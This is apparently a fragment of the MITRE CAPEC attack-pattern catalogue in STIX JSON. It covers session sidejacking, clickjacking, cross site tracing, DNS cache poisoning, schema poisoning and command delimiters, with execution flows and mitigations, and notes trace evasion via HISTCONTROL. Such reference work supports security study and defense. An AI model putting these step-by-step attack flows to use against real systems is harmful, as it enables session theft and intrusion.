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"Many web servers enforce security in web applications through the use of filter plugins. An example is the SiteMinder plugin used for authentication. An overflow in such a plugin, possibly through a long URL or redirect parameter, can allow an adversary not only to bypass the security checks but also execute arbitrary code on the target web server in the context of the user that runs the web server process."
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"modified": "2020-07-30T00:00:00.000Z",
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{
"source_name": "capec",
"url": "https://capec.mitre.org/data/definitions/102.html",
"external_id": "CAPEC-102"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/294.html",
"external_id": "CWE-294"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/522.html",
"external_id": "CWE-522"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/523.html",
"external_id": "CWE-523"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/319.html",
"external_id": "CWE-319"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/614.html",
"external_id": "CWE-614"
}
],
"x_capec_likelihood_of_attack": "High",
"x_capec_typical_severity": "High",
"x_capec_prerequisites": [
"An attacker and the victim are both using the same WiFi network.",
"The victim has an active session with a target system.",
"The victim is not using a secure channel to communicate with the target system (e.g. SSL, VPN, etc.)",
"The victim initiated communication with a target system that requires transfer of the session token or the target application uses AJAX and thereby periodically \"rings home\" asynchronously using the session token"
],
"x_capec_skills_required": {
"Low": "Easy to use tools exist to automate this attack."
},
"x_capec_resources_required": [
"A packet sniffing tool, such as wireshark, can be used to capture session information."
],
"x_capec_consequences": {
"Confidentiality": [
"Gain Privileges",
"Read Data"
],
"Access_Control": [
"Gain Privileges"
],
"Authorization": [
"Gain Privileges"
],
"Integrity": [
"Modify Data"
],
"Availability": [
"Unreliable Execution"
]
},
"x_capec_abstraction": "Detailed",
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"The attacker and the victim are using the same WiFi public hotspot. When the victim connects to the hotspot, they has a hosted e-mail account open. This e-mail account uses AJAX on the client side which periodically asynchronously connects to the server side and transfers, amongst other things, the user's session token to the server. The communication is supposed to happen over HTTPS. However, the configuration in the public hotspot initially disallows the HTTPS connection (or any other connection) between the victim and the hosted e-mail servers because the victim first needs to register with the hotspot. The victim does so, but their e-mail client already defaulted to using a connection without HTTPS, since it was denied access the first time. Victim's session token is now flowing unencrypted between the victim's browser and the hosted e-mail servers. The attacker leverages this opportunity to capture the session token and gain access to the victim's hosted e-mail account."
],
"x_capec_execution_flow": "<h2> Execution Flow </h2><div><h3>Explore</h3><ol><li> <p> <b>Detect Unprotected Session Token Transfer: </b>The attacker sniffs on the wireless network to detect unencrypted traffic that contains session tokens.</p></li><table><tbody><tr><th>Techniques</th></tr><tr><td>The attacker uses a network sniffer tool like ferret or hamster to monitor the wireless traffic at a WiFi hotspot while examining it for evidence of transmittal of session tokens in unencrypted or recognizably encrypted form. An attacker applies their knowledge of the manner by which session tokens are generated and transmitted by various target systems to identify the session tokens.</td></tr></tbody></table></ol></div><div><h3>Experiment</h3><ol><li> <p> <b>Capture session token: </b>The attacker uses sniffing tools to capture a session token from traffic.</p></li><li> <p> <b>Insert captured session token: </b>The attacker attempts to insert a captured session token into communication with the targeted application to confirm viability for exploitation.</p></li></ol></div><div><h3>Exploit</h3><ol><li> <p> <b>Session Token Exploitation: </b>The attacker leverages the captured session token to interact with the targeted application in a malicious fashion, impersonating the victim.</p></li></ol></div>",
"x_capec_status": "Draft",
"x_capec_version": "3.4",
"type": "attack-pattern"
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"description": "Modify the session token with each transmission and protect it with cryptography. Add the idea of request sequencing that gives the server an ability to detect replay attacks.",
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"relationship_type": "mitigates",
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"id": "attack-pattern--ec41b2b3-a3b6-4af0-be65-69e82907dfef",
"name": "Clickjacking",
"description": "In a clickjacking attack the victim is tricked into unknowingly initiating some action in one system while interacting with the UI from a seemingly completely different system. While being logged in to some target system, the victim visits the adversary's malicious site which displays a UI that the victim wishes to interact with. In reality, the clickjacked page has a transparent layer above the visible UI with action controls that the adversary wishes the victim to execute. The victim clicks on buttons or other UI elements they see on the page which actually triggers the action controls in the transparent overlaying layer. Depending on what that action control is, the adversary may have just tricked the victim into executing some potentially privileged (and most certainly undesired) functionality in the target system to which the victim is authenticated. The basic problem here is that there is a dichotomy between what the victim thinks they are clicking on versus what they are actually clicking on.",
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"created": "2014-06-23T00:00:00.000Z",
"modified": "2020-12-17T00:00:00.000Z",
"external_references": [
{
"source_name": "capec",
"url": "https://capec.mitre.org/data/definitions/103.html",
"external_id": "CAPEC-103"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/1021.html",
"external_id": "CWE-1021"
},
{
"source_name": "OWASP Attacks",
"description": "Clickjacking",
"url": "https://owasp.org/www-community/attacks/Clickjacking"
},
{
"source_name": "reference_from_CAPEC",
"description": "OWASP Web Security Testing Guide, The Open Web Application Security Project (OWASP)",
"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side_Testing/09-Testing_for_Clickjacking.html",
"external_id": "REF-619"
}
],
"x_capec_likelihood_of_attack": "Medium",
"x_capec_typical_severity": "High",
"x_capec_prerequisites": [
"The victim is communicating with the target application via a web based UI and not a thick client",
"The victim's browser security policies allow at least one of the following JavaScript, Flash, iFrames, ActiveX, or CSS.",
"The victim uses a modern browser that supports UI elements like clickable buttons (i.e. not using an old text only browser)",
"The victim has an active session with the target system.",
"The target system's interaction window is open in the victim's browser and supports the ability for initiating sensitive actions on behalf of the user in the target system"
],
"x_capec_skills_required": {
"High": "Crafting the proper malicious site and luring the victim to this site are not trivial tasks."
},
"x_capec_resources_required": [
"None: No specialized resources are required to execute this type of attack."
],
"x_capec_consequences": {
"Confidentiality": [
"Gain Privileges",
"Read Data"
],
"Access_Control": [
"Gain Privileges"
],
"Authorization": [
"Gain Privileges"
],
"Integrity": [
"Modify Data"
],
"Availability": [
"Unreliable Execution"
]
},
"x_capec_abstraction": "Standard",
"x_capec_example_instances": [
"\n <xhtml:p>A victim has an authenticated session with a site that provides an electronic payment service to transfer funds between subscribing members. At the same time, the victim receives an e-mail that appears to come from an online publication to which they subscribe with links to today's news articles. The victim clicks on one of these links and is taken to a page with the news story. There is a screen with an advertisement that appears on top of the news article with the 'skip this ad' button. Eager to read the news article, the user clicks on this button. Nothing happens. The user clicks on the button one more time and still nothing happens.</xhtml:p>\n <xhtml:p>In reality, the victim activated a hidden action control located in a transparent layer above the 'skip this ad' button. The ad screen blocking the news article made it likely that the victim would click on the 'skip this ad' button. Clicking on the button, actually initiated the transfer of $1000 from the victim's account with an electronic payment service to an adversary's account. Clicking on the 'skip this ad' button the second time (after nothing seemingly happened the first time) confirmed the transfer of funds to the electronic payment service.</xhtml:p>\n "
],
"x_capec_execution_flow": "<h2> Execution Flow </h2><div><h3>Experiment</h3><ol><li> <p> <b>Craft a clickjacking page: </b>The adversary utilizes web page layering techniques to try to craft a malicious clickjacking page</p></li><table><tbody><tr><th>Techniques</th></tr><tr><td>The adversary leveraged iframe overlay capabilities to craft a malicious clickjacking page</td></tr><tr><td>The adversary leveraged Flash file overlay capabilities to craft a malicious clickjacking page</td></tr><tr><td>The adversary leveraged Silverlight overlay capabilities to craft a malicious clickjacking page</td></tr><tr><td>The adversary leveraged cross-frame scripting to craft a malicious clickjacking page</td></tr></tbody></table></ol></div><div><h3>Exploit</h3><ol><li> <p> <b>Adversary lures victim to clickjacking page: </b>Adversary utilizes some form of temptation, misdirection or coercion to lure the victim to loading and interacting with the clickjacking page in a way that increases the chances that the victim will click in the right areas.</p></li><table><tbody><tr><th>Techniques</th></tr><tr><td>Lure the victim to the malicious site by sending the victim an e-mail with a URL to the site.</td></tr><tr><td>Lure the victim to the malicious site by manipulating URLs on a site trusted by the victim.</td></tr><tr><td>Lure the victim to the malicious site through a cross-site scripting attack.</td></tr></tbody></table><li> <p> <b>Trick victim into interacting with the clickjacking page in the desired manner: </b>The adversary tricks the victim into clicking on the areas of the UI which contain the hidden action controls and thereby interacts with the target system maliciously with the victim's level of privilege.</p></li><table><tbody><tr><th>Techniques</th></tr><tr><td>Hide action controls over very commonly used functionality.</td></tr><tr><td>Hide action controls over very psychologically tempting content.</td></tr></tbody></table></ol></div>",
"x_capec_status": "Draft",
"x_capec_version": "3.4",
"type": "attack-pattern"
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],
"description": "If using the Firefox browser, use the NoScript plug-in that will help forbid iFrames.",
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"type": "course-of-action"
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"id": "relationship--0e9b7917-b0c4-4461-93c3-7c9623a1eca8",
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],
"description": "Turn off JavaScript, Flash and disable CSS.",
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"id": "relationship--2c711dc9-c190-43bc-a5e0-02855f1b48e5",
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"created": "2014-06-23T00:00:00.000Z",
"modified": "2020-12-17T00:00:00.000Z",
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"id": "attack-pattern--ebf5cbfb-36d8-4983-9267-9d17bff3817f",
"name": "Cross Zone Scripting",
"description": "An attacker is able to cause a victim to load content into their web-browser that bypasses security zone controls and gain access to increased privileges to execute scripting code or other web objects such as unsigned ActiveX controls or applets. This is a privilege elevation attack targeted at zone-based web-browser security. In a zone-based model, pages belong to one of a set of zones corresponding to the level of privilege assigned to that page. Pages in an untrusted zone would have a lesser level of access to the system and/or be restricted in the types of executable content it was allowed to invoke. In a cross-zone scripting attack, a page that should be assigned to a less privileged zone is granted the privileges of a more trusted zone. This can be accomplished by exploiting bugs in the browser, exploiting incorrect configuration in the zone controls, through a cross-site scripting attack that causes the attackers' content to be treated as coming from a more trusted page, or by leveraging some piece of system functionality that is accessible from both the trusted and less trusted zone. This attack differs from \"Restful Privilege Escalation\" in that the latter correlates to the inadequate securing of RESTful access methods (such as HTTP DELETE) on the server, while cross-zone scripting attacks the concept of security zones as implemented by a browser.",
"created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd",
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"modified": "2020-07-30T00:00:00.000Z",
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{
"source_name": "capec",
"url": "https://capec.mitre.org/data/definitions/104.html",
"external_id": "CAPEC-104"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/250.html",
"external_id": "CWE-250"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/638.html",
"external_id": "CWE-638"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/285.html",
"external_id": "CWE-285"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/116.html",
"external_id": "CWE-116"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/20.html",
"external_id": "CWE-20"
}
],
"x_capec_likelihood_of_attack": "Medium",
"x_capec_typical_severity": "High",
"x_capec_prerequisites": [
"The target must be using a zone-aware browser."
],
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"Medium": "Ability to craft malicious scripts or find them elsewhere and ability to identify functionality that is running web controls in the local zone and to find an injection vector into that functionality"
},
"x_capec_resources_required": [
"None: No specialized resources are required to execute this type of attack."
],
"x_capec_consequences": {
"Integrity": [
"Modify Data",
"Execute Unauthorized Commands (Run Arbitrary Code)"
],
"Confidentiality": [
"Read Data",
"Gain Privileges",
"Execute Unauthorized Commands (Run Arbitrary Code)"
],
"Access_Control": [
"Gain Privileges"
],
"Authorization": [
"Gain Privileges"
],
"Availability": [
"Execute Unauthorized Commands (Run Arbitrary Code)"
]
},
"x_capec_abstraction": "Standard",
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"There was a cross zone scripting vulnerability discovered in Skype that allowed one user to upload a video with a maliciously crafted title that contains a script. Subsequently, when the victim attempts to use the \"add video to chat\" feature on attacker's video, the script embedded in the title of the video runs with local zone privileges. Skype is using IE web controls to render internal and external HTML pages. \"Add video to chat\" uses these web controls and they are running in the Local Zone. Any user who searched for the video in Skype with the same keywords as in the title field, would have the attackers' code executing in their browser with local zone privileges to their host machine (e.g. applications on the victim's host system could be executed)."
],
"x_capec_execution_flow": "<h2> Execution Flow </h2><div><h3>Explore</h3><ol><li> <p> <b>Find systems susceptible to the attack: </b>Find systems that contain functionality that is accessed from both the internet zone and the local zone. There needs to be a way to supply input to that functionality from the internet zone and that original input needs to be used later on a page from a local zone.</p></li><table><tbody><tr><th>Techniques</th></tr><tr><td>Leverage knowledge of common local zone functionality on targeted platforms to guide attempted injection of code through relevant internet zone mechanisms. In some cases this may be due to standard system configurations enabling shared functionality between internet and local zones. The attacker can search for indicators that these standard configurations are in place.</td></tr></tbody></table></ol></div><div><h3>Experiment</h3><ol><li> <p> <b>Find the insertion point for the payload: </b>The attacker first needs to find some system functionality or possibly another weakness in the system (e.g. susceptibility to cross site scripting) that would provide the attacker with a mechanism to deliver the payload (i.e. the code to be executed) to the user. The location from which this code is executed in the user's browser needs to be within the local machine zone.</p></li><table><tbody><tr><th>Techniques</th></tr><tr><td>Finding weaknesses in functionality used by both privileged and unprivileged users.</td></tr></tbody></table></ol></div><div><h3>Exploit</h3><ol><li> <p> <b>Craft and inject the payload: </b>Develop the payload to be executed in the higher privileged zone in the user's browser. Inject the payload and attempt to lure the victim (if possible) into executing the functionality which unleashes the payload.</p></li><table><tbody><tr><th>Techniques</th></tr><tr><td>The attacker makes it as likely as possible that the vulnerable functionality into which they have injected the payload has a high likelihood of being used by the victim.</td></tr><tr><td>Leverage cross-site scripting vulnerability to inject payload.</td></tr></tbody></table></ol></div>",
"x_capec_status": "Draft",
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"type": "attack-pattern"
},
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"created": "2014-06-23T00:00:00.000Z",
"modified": "2020-07-30T00:00:00.000Z",
"name": "coa-104-0",
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],
"description": "Disable script execution.",
"x_capec_version": "3.4",
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},
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"id": "relationship--d53f8236-31b6-44ef-9829-434ecc01751b",
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"created": "2014-06-23T00:00:00.000Z",
"modified": "2020-07-30T00:00:00.000Z",
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{
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},
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},
{
"source_name": "WASC",
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"url": "http://projects.webappsec.org/HTTP-Request-Splitting",
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},
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],
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},
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],
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],
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"name": "DEPRECATED: XSS through Log Files",
"description": "This attack pattern has been deprecated as it referes to an existing chain relationship between \"CAPEC-93 : Log Injection-Tampering-Forging\" and \"CAPEC-63 : Cross-Site Scripting\". Please refer to these CAPECs going forward.",
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{
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}
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"id": "attack-pattern--f14acee3-770c-4154-a9b2-9eda908c6a9f",
"name": "Cross Site Tracing",
"description": "Cross Site Tracing (XST) enables an adversary to steal the victim's session cookie and possibly other authentication credentials transmitted in the header of the HTTP request when the victim's browser communicates to a destination system's web server. The adversary uses an XSS attack to have victim's browser sent an HTTP TRACE request to a destination web server, which will proceed to return a response to the victim's web browser that contains the original HTTP request in its body. Since the HTTP header of the original HTTP TRACE request had the victim's session cookie in it, that session cookie can now be picked off the HTTP TRACE response and sent to the adversary's malicious site. XST becomes relevant when direct access to the session cookie via the \"document.cookie\" object is disabled with the use of httpOnly attribute which ensures that the cookie can be transmitted in HTTP requests but cannot be accessed in other ways. Using SSL does not protect against XST. If the system with which the victim is interacting is susceptible to XSS, an adversary can exploit that weakness directly to get their malicious script to issue an HTTP TRACE request to the destination system's web server.",
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{
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},
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},
{
"source_name": "cwe",
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},
{
"source_name": "OWASP Attacks",
"description": "Cross Site Tracing",
"url": "https://owasp.org/www-community/attacks/Cross_Site_Tracing"
},
{
"source_name": "reference_from_CAPEC",
"description": "Jeremiah Grossman, Cross-Site Tracing (XST), 2003, WhiteHat Security",
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"external_id": "REF-3"
}
],
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"HTTP TRACE is enabled on the web server",
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"HTTP is used as the communication protocol between the server and the client"
],
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"Medium": "Understanding of the HTTP protocol and an ability to craft a malicious script"
},
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"None: No specialized resources are required to execute this type of attack."
],
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"Confidentiality": [
"Read Data",
"Gain Privileges"
],
"Access_Control": [
"Gain Privileges"
],
"Authorization": [
"Gain Privileges"
],
"Integrity": [
"Modify Data"
]
},
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"\n <xhtml:p>An adversary determines that a particular system is vulnerable to reflected cross-site scripting (XSS) and endeavors to leverage this weakness to steal the victim's authentication cookie. An adversary realizes that since httpOnly attribute is set on the user's cookie, it is not possible to steal it directly with their malicious script. Instead, the adversary has their script use XMLHTTP ActiveX control in the victim's IE browser to issue an HTTP TRACE to the target system's server which has HTTP TRACE enabled. The original HTTP TRACE request contains the session cookie and so does the echoed response. The adversary picks the session cookie from the body of HTTP TRACE response and ships it to the adversary. The adversary then uses the newly acquired victim's session cookie to impersonate the victim in the target system.</xhtml:p>\n <xhtml:p>In the absence of an XSS weakness on the site with which the victim is interacting, an adversary can get the script to come from the site that they control and get it to execute in the victim's browser (if they can trick the victim's into visiting their malicious website or clicking on the link that they supplies). However, in that case, due to the same origin policy protection mechanism in the browser, the adversary's malicious script cannot directly issue an HTTP TRACE request to the destination system's web server because the malicious script did not originate at that domain. An adversary will then need to find a way to exploit another weakness that would enable them to circumvent the same origin policy protection.</xhtml:p>\n "
],
"x_capec_execution_flow": "<h2> Execution Flow </h2><div><h3>Explore</h3><ol><li> <p> <b>Determine if HTTP Trace is enabled: </b>Determine if HTTP Trace is enabled at the web server with which the victim has an active session</p></li><table><tbody><tr><th>Techniques</th></tr><tr><td>An adversary may issue an HTTP Trace request to the target web server and observe if the response arrives with the original request in the body of the response.</td></tr></tbody></table></ol></div><div><h3>Experiment</h3><ol><li> <p> <b>Identify mechanism to launch HTTP Trace request: </b>The adversary attempts to force the victim to issue an HTTP Trace request to the targeted application.</p></li><table><tbody><tr><th>Techniques</th></tr><tr><td>The adversary probes for cross-site scripting vulnerabilities to force the victim into issuing an HTTP Trace request.</td></tr></tbody></table></ol></div><div><h3>Exploit</h3><ol><li> <p> <b>Create a malicious script that pings the web server with HTTP TRACE request: </b>The adversary creates a malicious script that will induce the victim's browser to issue an HTTP TRACE request to the destination system's web server. The script will further intercept the response from the web server, pick up sensitive information out of it, and forward to the site controlled by the adversary.</p></li><table><tbody><tr><th>Techniques</th></tr><tr><td>The adversary's malicious script circumvents the httpOnly cookie attribute that prevents from hijacking the victim's session cookie directly using document.cookie and instead leverages the HTTP TRACE to catch this information from the header of the HTTP request once it is echoed back from the web server in the body of the HTTP TRACE response.</td></tr></tbody></table><li> <p> <b>Execute malicious HTTP Trace launching script: </b>The adversary leverages an XSS vulnerability to force the victim to execute the malicious HTTP Trace launching script</p></li><li> <p> <b>Intercept HTTP TRACE response: </b>The adversary's script intercepts the HTTP TRACE response from teh web server, glance sensitive information from it, and forward that information to a server controlled by the adversary.</p></li></ol></div>",
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"\n <xhtml:p>J2EE application servers are supposed to execute Java Server Pages (JSP). There have been disclosure issues relating to Orion Application Server, where an attacker that appends either a period (.) or space characters to the end of a legitimate Http request, then the server displays the full source code in the attackers' web browser.</xhtml:p>\n <xhtml:div style=\"margin-left:10px;\" class=\"attack\">http://victim.site/login.jsp.</xhtml:div>\n <xhtml:p>Since remote data and directory access may be accessed directly from the JSP, this is a potentially very serious issue.</xhtml:p>\n <xhtml:p>[REF-6]</xhtml:p>\n "
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],
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"\n <xhtml:p>Gmail service was found to be vulnerable to a JSON Hijacking attack that enabled an attacker to get the contents of the victim's address book. An attacker could send an e-mail to the victim's Gmail account (which ensures that the victim is logged in to Gmail when they receive it) with a link to the attackers' malicious site. If the victim clicked on the link, a request (containing the victim's authenticated session cookie) would be sent to the Gmail servers to fetch the victim's address book. This functionality is typically used by the Gmail service to get this data on the fly so that the user can be provided a list of contacts from which to choose the recipient of the e-mail.</xhtml:p>\n <xhtml:p>When the JSON object with the contacts came back, it was loaded into the JavaScript space via a script tag on the attackers' malicious page. Since the JSON object was never assigned to a local variable (which would have prevented a script from a different domain accessing it due to the browser's same origin policy), another mechanism was needed to access the data that it contained. That mechanism was overwriting the internal array constructor with the attackers' own constructor in order to gain access to the JSON object's contents. These contents could then be transferred to the site controlled by the attacker.</xhtml:p>\n "
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"The HISTCONTROL environment variable keeps track of what should be saved by the history command and eventually into the ~/.bash_history file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". HISTCONTROL can also be set to ignore duplicate commands by setting it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. This means that \" ls\" will not be saved, but \"ls\" would be saved by history. HISTCONTROL does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands."
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"Untrusted search path vulnerability in the add_filename_to_string function in intl/gettext/loadmsgcat.c for Elinks 0.11.1 allows local users to cause Elinks to use an untrusted gettext message catalog (.po file) in a \"../po\" directory, which can be leveraged to conduct format string attacks. See also: CVE-2007-2027"
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"x_capec_prerequisites": [
"The attacker must be able to modify the value stored in a cache to match a desired value.",
"The targeted application must not be able to detect the illicit modification of the cache and must trust the cache value in its calculations."
],
"x_capec_skills_required": {
"Medium": "To overwrite/modify targeted cache"
},
"x_capec_abstraction": "Standard",
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],
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"name": "DNS Cache Poisoning",
"description": "A domain name server translates a domain name (such as www.example.com) into an IP address that Internet hosts use to contact Internet resources. An adversary modifies a public DNS cache to cause certain names to resolve to incorrect addresses that the adversary specifies. The result is that client applications that rely upon the targeted cache for domain name resolution will be directed not to the actual address of the specified domain name but to some other address. Adversaries can use this to herd clients to sites that install malware on the victim's computer or to masquerade as part of a Pharming attack.",
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{
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{
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"A DNS cache must be vulnerable to some attack that allows the adversary to replace addresses in its lookup table.Client applications must trust the corrupted cashed values and utilize them for their domain name resolutions."
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"Medium": "To overwrite/modify targeted DNS cache"
},
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],
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"\n <xhtml:p>In this example, an adversary sends request to a local DNS server to look up www.example .com. The associated IP address of www.example.com is 1.3.5.7.</xhtml:p>\n <xhtml:p>Local DNS usually caches IP addresses and do not go to remote DNS every time. Since the local record is not found, DNS server tries to connect to remote DNS for queries. However, before the remote DNS returns the right IP address 1.3.5.7, the adversary floods local DNS with crafted responses with IP address 2.4.6.8. The result is that 2.4.6.8 is stored in DNS cache. Meanwhile, 2.4.6.8 is associated with a malicious website www.maliciousexampsle.com</xhtml:p>\n <xhtml:p>When users connect to www.example.com, the local DNS will direct it to www.maliciousexample.com, this works as part of a Pharming attack.</xhtml:p>\n "
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"x_capec_execution_flow": "<h2> Execution Flow </h2><div><h3>Explore</h3><ol><li> <p> <b>Explore resolver caches: </b>Check DNS caches on local DNS server and client's browser with DNS cache enabled.</p></li><table><tbody><tr><th>Techniques</th></tr><tr><td>Run tools that check the resolver cache in the memory to see if it contains a target DNS entry.</td></tr><tr><td>Figure out if the client's browser has DNS cache enabled.</td></tr></tbody></table></ol></div><div><h3>Experiment</h3><ol><li> <p> <b>Attempt sending crafted records to DNS cache: </b>A request is sent to the authoritative server for target website and wait for the iterative name resolver. An adversary sends bogus request to the DNS local server, and then floods responses that trick a DNS cache to remember malicious responses, which are wrong answers of DNS query.</p></li><table><tbody><tr><th>Techniques</th></tr><tr><td>Adversary must know the transaction ID by intercepting a DNS query, or sending a bogus query with known transaction ID.</td></tr><tr><td>If the transaction ID used to identify each query instance is randomized in some new DNS software, the attack must guess the transaction ID. Slow the response of the real DNS server by causing Denial-of-service. This gives adversaries enough time to guess transaction</td></tr><tr><td>Adversary crafts DNS response with the same transaction ID as in the request. The adversary sends out DNS responses before the authorized DNS server. This forces DNS local cache stores fake DNS response (wrong answer). The fake DNS responses usually include a malicious website's IP address.</td></tr></tbody></table></ol></div><div><h3>Exploit</h3><ol><li> <p> <b>Redirect users to malicious website: </b>As the adversary succeeds in exploiting the vulnerability, the victim connects to a malicious site using a good web site's domain name.</p></li><table><tbody><tr><th>Techniques</th></tr><tr><td>Redirecting Web traffic to a site that looks enough like the original so as to not raise any suspicion.</td></tr><tr><td>Man-in-the-Middle intercepts secure communication between two parties.</td></tr></tbody></table></ol></div>",
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"description": "Configuration: UNIX services like rlogin, rsh/rcp, xhost, and nfs are all susceptible to wrong information being held in a cache. Care should be taken with these services so they do not rely upon DNS caches that have been exposed to the Internet.",
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"description": "An attacker searches a targeted web site for web pages that have not been publicized. Generally this involves mapping the published web site by spidering through all the published links and then attempt to access well-known debugging or logging pages, or otherwise predictable pages within the site tree. For example, if an attacker might be able to notice a pattern in the naming of documents and extrapolate this pattern to discover additional documents that have been created but are no longer externally linked. Using this, the attacker may be able to gain access to information that the targeted site did not intend to make public.",
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],
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],
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"description": "An attacker searches a targeted web site for web services that have not been publicized. Generally this involves mapping the published web site by spidering through all the published links and then attempt to access well-known debugging or logging services, or otherwise predictable services within the site tree. This attack can be especially dangerous since unpublished but available services may not have adequate security controls placed upon them given that an administrator may believe they are unreachable.",
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"Spidering tools to explore the target web site are extremely useful in this attack especially when attacking large sites. Some tools might also be able to automatically construct common service queries from known paths."
],
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"id": "attack-pattern--9d8a9dc3-5115-43c3-a5ec-8003e7b97b2e",
"name": "Checksum Spoofing",
"description": "An adversary spoofs a checksum message for the purpose of making a payload appear to have a valid corresponding checksum. Checksums are used to verify message integrity. They consist of some value based on the value of the message they are protecting. Hash codes are a common checksum mechanism. Both the sender and recipient are able to compute the checksum based on the contents of the message. If the message contents change between the sender and recipient, the sender and recipient will compute different checksum values. Since the sender's checksum value is transmitted with the message, the recipient would know that a modification occurred. In checksum spoofing an adversary modifies the message body and then modifies the corresponding checksum so that the recipient's checksum calculation will match the checksum (created by the adversary) in the message. This would prevent the recipient from realizing that a change occurred.",
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{
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"external_id": "CAPEC-145"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/354.html",
"external_id": "CWE-354"
}
],
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"The adversary must be able to intercept a message from the sender (keeping the recipient from getting it), modify it, and send the modified message to the recipient.",
"The sender and recipient must use a checksum to protect the integrity of their message and transmit this checksum in a manner where the adversary can intercept and modify it.",
"The checksum value must be computable using information known to the adversary. A cryptographic checksum, which uses a key known only to the sender and recipient, would thwart this attack."
],
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"The adversary must have a utility that can intercept and modify messages between the sender and recipient."
],
"x_capec_abstraction": "Detailed",
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},
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"id": "attack-pattern--ebf4bdc7-73dd-47c4-96e1-1ff471efbcd2",
"name": "XML Schema Poisoning",
"description": "An adversary corrupts or modifies the content of XML schema information passed between a client and server for the purpose of undermining the security of the target. XML Schemas provide the structure and content definitions for XML documents. Schema poisoning is the ability to manipulate a schema either by replacing or modifying it to compromise the programs that process documents that use this schema. Possible attacks are denial of service attacks by modifying the schema so that it does not contain required information for subsequent processing. For example, the unaltered schema may require a @name attribute in all submitted documents. If the adversary removes this attribute from the schema then documents created using the new grammar may lack this field, which may cause the processing application to enter an unexpected state or record incomplete data. In addition, manipulation of the data types described in the schema may affect the results of calculations taken by the document reader. For example, a float field could be changed to an int field. Finally, the adversary may change the encoding defined in the schema for certain fields allowing the contents to bypass filters that scan for dangerous strings. For example, the modified schema might use a URL encoding instead of ASCII, and a filter that catches a semicolon (;) might fail to detect its URL encoding (%3B).",
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"modified": "2020-07-30T00:00:00.000Z",
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{
"source_name": "capec",
"url": "https://capec.mitre.org/data/definitions/146.html",
"external_id": "CAPEC-146"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/15.html",
"external_id": "CWE-15"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/472.html",
"external_id": "CWE-472"
}
],
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"x_capec_typical_severity": "High",
"x_capec_prerequisites": [
"Some level of access to modify the target schema.",
"The schema used by the target application must be improperly secured against unauthorized modification and manipulation."
],
"x_capec_resources_required": [
"Access to the schema and the knowledge and ability modify it. Ability to replace or redirect access to the modified schema."
],
"x_capec_consequences": {
"Availability": [
"Unreliable Execution (A successful schema poisoning attack can compromise the availability of the target system's service by exhausting its available resources.)",
"Resource Consumption (A successful schema poisoning attack can compromise the availability of the target system's service by exhausting its available resources.)"
],
"Integrity": [
"Modify Data"
],
"Confidentiality": [
"Read Data"
]
},
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"\n <xhtml:p>XML Schema Poisoning Attacks can also be executed remotely if the HTTP protocol is being used to transport data. :</xhtml:p>\n <xhtml:div style=\"margin-left:10px;\" class=\"attack\"><?xml version=\"1.0\"?> <!DOCTYPE contact SYSTEM \"http://example.com/contact.dtd\"[ <note> <name>John Smith</name> <phone>555-1234</phone> <email>jsmith@email.com</email> <address>1 Example Lane</address> </note></capec:Code></xhtml:div>\n <xhtml:p>The HTTP protocol does not encrypt the traffic it transports, so all communication occurs in plaintext. This traffic can be observed and modified by the adversary during transit to alter the XML schema before it reaches the end user. The adversary can perform a Man-in-the-Middle (MITM) Attack to alter the schema in the same way as the previous example and to acheive the same results.</xhtml:p>\n "
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"Consider the case of attack performed against the createCustomerBillingAccount Web Service for an online store. In this case, the createCustomerBillingAccount Web Service receives a huge number of simultaneous requests, containing nonsense billing account creation information (the small XML messages). The createCustomerBillingAccount Web Services may forward the messages to other Web Services for processing. The application suffers from a high load of requests, potentially leading to a complete loss of availability the involved Web Service."
],
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"name": "Content Spoofing",
"description": "An adversary modifies content to make it contain something other than what the original content producer intended while keeping the apparent source of the content unchanged. The term content spoofing is most often used to describe modification of web pages hosted by a target to display the adversary's content instead of the owner's content. However, any content can be spoofed, including the content of email messages, file transfers, or the content of other network communication protocols. Content can be modified at the source (e.g. modifying the source file for a web page) or in transit (e.g. intercepting and modifying a message between the sender and recipient). Usually, the adversary will attempt to hide the fact that the content has been modified, but in some cases, such as with web site defacement, this is not necessary. Content Spoofing can lead to malware exposure, financial fraud (if the content governs financial transactions), privacy violations, and other unwanted outcomes.",
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],
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"id": "attack-pattern--bddd2549-167f-4f7b-8d0f-6d1e647b26f6",
"name": "Explore for Predictable Temporary File Names",
"description": "An attacker explores a target to identify the names and locations of predictable temporary files for the purpose of launching further attacks against the target. This involves analyzing naming conventions and storage locations of the temporary files created by a target application. If an attacker can predict the names of temporary files they can use this information to mount other attacks, such as information gathering and symlink attacks.",
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"The targeted application must create names for temporary files using a predictable procedure, e.g. using sequentially increasing numbers.",
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],
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"None: No specialized resources are required to execute this type of attack."
],
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"name": "Command Delimiters",
"description": "An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.",
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"source_name": "cwe",
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},
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},
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},
{
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},
